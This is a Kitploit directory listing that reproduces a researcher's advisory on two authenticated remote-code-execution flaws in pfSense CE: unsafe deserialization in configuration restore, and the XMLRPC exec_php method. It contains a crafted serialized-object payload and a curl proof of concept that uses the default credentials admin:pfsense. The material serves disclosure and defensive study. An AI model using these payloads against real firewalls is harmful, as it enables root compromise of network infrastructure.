Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-69690-CVE-2025-69691 — Authenticated RCE in Netgate pfSense CE 2.7.2 and 2.8.0 | Kitploit
Tools/GitHubGitHub/privlabs/cve-2025-69690-cve-2025-69691
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingPapers & ResearchLearning & Education
GitHubprivlabs/cve-2025-69690-cve-2025-69691

CVE-2025-69690-CVE-2025-69691

Authenticated RCE in Netgate pfSense CE 2.7.2 and 2.8.0

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository
6 months agoNot yet reviewed

🔐 CVE-2025-69690 & CVE-2025-69691

Authenticated Remote Code Execution in Netgate pfSense Community Edition

CVE CVE CVSS Vendor Status


📋 Summary

FieldDetails
ResearcherNelson Adhepeau (@privlabs)
VendorNetgate
ProductpfSense Community Edition
Versions2.7.2 and 2.8.0
TypeAuthenticated Remote Code Execution
DisclosureFebruary 2026
Vendor notifiedDecember 2, 2025
CVE assignedJanuary 28, 2026

⚠️ Disclaimer

This research was conducted in isolated lab environments for educational and security awareness purposes only. All findings were responsibly disclosed to the vendor prior to publication. This advisory does not constitute an invitation to attack production systems. Unauthorized testing is illegal.


🎯 CVE-2025-69690

Unsafe Deserialization → RCE (pfSense CE 2.7.2)

Description

The pfSense configuration restore mechanism invokes unserialize() on user-controlled data without class whitelisting, input validation, or sandboxing.

A crafted backup file containing a malicious serialized PHP object injects arbitrary commands via the post_reboot_commands property, which are executed through mwexec() with full root privileges.

Attack Flow

root@kitploit:~
[Attacker] → Login as admin
           → Upload malicious .xml backup file
           → Trigger restore
           → pfSense calls unserialize() on attacker data
           → post_reboot_commands executed via mwexec()
           → [ROOT SHELL]

Affected Components

  • config.php — restore processing logic
  • pfsense_module_installer class — unsafe deserialization target
  • mwexec() — command execution sink

PoC Payload

root@kitploit:~
O:23:"pfsense_module_installer":1:{
  s:17:"*post_reboot_commands";
  a:1:{
    i:0;s:40:"/usr/local/bin/php -r 'system(\"id\");'";
  }
}

Impact

  • ✅ Arbitrary OS command execution as root
  • ✅ Persistent backdoor installation
  • ✅ Complete firewall takeover
  • ✅ Credential and configuration exfiltration

Vendor Response

"Acknowledged. Classified as authenticated administrative abuse. No patch will be issued." — Netgate


🎯 CVE-2025-69691

XMLRPC exec_php → RCE (pfSense CE 2.8.0)

Description

pfSense CE 2.8.0 exposes an XMLRPC method pfsense.exec_php that executes arbitrary PHP code as root without validation, sandboxing, or any form of restriction.

The endpoint is:

  • ✅ Enabled by default
  • ✅ Accessible remotely over HTTPS
  • ✅ Protected only by Basic Authentication
  • ✅ Exploitable with default credentials (admin:pfsense)

Attack Flow

root@kitploit:~
[Attacker] → Send XMLRPC request to /xmlrpc.php
           → Authenticate with admin:pfsense (default)
           → Call pfsense.exec_php with arbitrary PHP
           → Code executes as root, no sandboxing
           → [ROOT SHELL]

Affected Components

  • xmlrpc.php — API entry point
  • pfsense.exec_php — unsafe dynamic code execution
  • BasicAuth layer — insufficient access control

PoC

root@kitploit:~
curl -k -u admin:pfsense \
  -H "Content-Type: text/xml" \
  -d '<methodCall>
        <methodName>pfsense.exec_php</methodName>
        <params>
          <param>
            <value><string>system("id");</string></value>
          </param>
        </params>
      </methodCall>' \
  https://<target>/xmlrpc.php

Impact

  • ✅ Full remote root compromise
  • ✅ Arbitrary file read/write
  • ✅ Backdoor deployment
  • ✅ Firewall rule manipulation
  • ✅ Extraction of all credentials and configurations

Vendor Response

"Acknowledged. Classified as expected behavior for authenticated users. No patch planned." — Netgate


📅 Timeline

root@kitploit:~
November 2025     →  Vulnerabilities discovered
December 2, 2025  →  Responsible disclosure to Netgate
                  →  Vendor acknowledged, no patch planned
January 28, 2026  →  CVE IDs assigned by MITRE
February 2026     →  Public disclosure

🔗 References

  • 🔴 CVE-2025-69690 on cve.org
  • 🔴 CVE-2025-69691 on cve.org
  • 📧 Full disclosure: [email protected]

👤 Researcher

Nelson Adhepeau — Independent Security Researcher

LinkedIn GitHub

📧 [email protected]

Download Tool
FieldValue
CVSS v3.18.8 (High)
VectorAV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
CWECWE-502, CWE-915
Attack TypeAuthenticated (Admin)
ComponentBackup/Restore mechanism
FieldValue
CVSS v3.19.9 (Critical)
VectorAV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
CWECWE-284, CWE-915
Attack TypeAuthenticated (remote, Basic Auth)
ComponentXMLRPC API — pfsense.exec_php